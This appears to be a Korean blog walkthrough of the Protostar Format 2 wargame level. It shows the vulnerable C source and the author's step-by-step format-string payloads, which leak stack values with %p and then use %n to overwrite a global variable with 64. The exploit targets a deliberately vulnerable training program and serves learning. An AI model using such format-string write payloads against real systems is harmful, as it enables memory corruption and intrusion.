J0N9HYUN

Protostar Format 2 본문

Wargame/Protostar

Protostar Format 2

j0n9hyun 2018.12.23 04:53

format 2

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void vuln()
{
  char buffer[512];

  fgets(buffer, sizeof(buffer), stdin);
  printf(buffer);
  
  if(target == 64) {
      printf("you have modified the target :)\n");
  } else {
      printf("target is %d :(\n", target);
  }
}

int main(int argc, char **argv)
{
  vuln();
}
 ✘ j0n9hyun@Pwner  ~/WarGame/Protostar/format  (python -c 'print"A"*4 + "%p."*10'; cat) | ./format2
 
AAAA0x200.0xf7faf5a0.0xf7fefff9.0x41414141.0x252e7025.0x70252e70.
0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.
target is 0 :(

앞에 A를 주고 %p 또는 %x 서식 문자로 일단 여러개 때려박으면 특정 위치에 41414141값이 보인다.



(python -c 'print"A"*4 + "\xe4\x96\x04\x08" + "%p."*10'; cat) | ./format2

AAAA��0x200.0xf7faf5a0.0xf7fefff9.0x41414141.0x80496e4.0x252e7025.
0x70252e70.0x2e70252e.0x252e7025.0x70252e70.
target is 0 :(


그렇다면 이번에는 target 주소로 바꿔서 적어보면 보시다시피 target의 주소는 최초 주소로부터 4번째 주소 다음에 나타나있는 것을 볼 수 있다. 



(python -c 'print"A"*4 + "\xe4\x96\x04\x08" + "%p."*4 + "%n" + "%p."*10'; cat) | ./format2

AAAA��0x200.0xf7faf5a0.0xf7fefff9.0x41414141.0x252e7025.0x70252e70.
0x2e70252e.0x70256e25.0x2e70252e.0x252e7025.
0x70252e70.0x2e70252e.0x252e7025.0x70252e70.
target is 47 :(


그래서 뒤에 주소를 더 보기 위해 입력값을 더 준 뒤, 확인해보면 숫자가 바뀐다. 하지만 우리가 원하는 64까지 도달하려면 조금 더 필요하다.



(python -c 'print"A"*4 + "\xe4\x96\x04\x08" + "%p."*3 + "%27p." + "%n "'; cat) | ./format2 AAAA��0x200.0xf7faf5a0.0xf7fefff9.0x41414141. you have modified the target :)


32비트 기준으로 주소 하나에 4바이트의 길이를 가진다. 이 4바이트의 길이를 3번 곱했으니 target 뒤에 있는 %p 주소는 12바이트가 있다. 이 12바이트에서 17바이트를 더해주면 29바이트가 된다. 그래서 %29p를 넣었는데 target이 66이 나온다. 살짝 맞춰줘야 할 거 같은데 그냥 수치 가감해서 때려박아도 된다. 앞에 %p*3 때문에 -2(%p %p)해줘서 최종적으로 %27p로 공격하면 성공한다.

'Wargame > Protostar' 카테고리의 다른 글

Protostar Heap 0  (0) 2018.12.29
Protostar Format 3  (0) 2018.12.23
Protostar Format 2  (0) 2018.12.23
Protostar Format 1  (0) 2018.12.22
Protostar Format 0  (0) 2018.12.22
Protostar Stack 7  (0) 2018.12.22
0 Comments
댓글쓰기 폼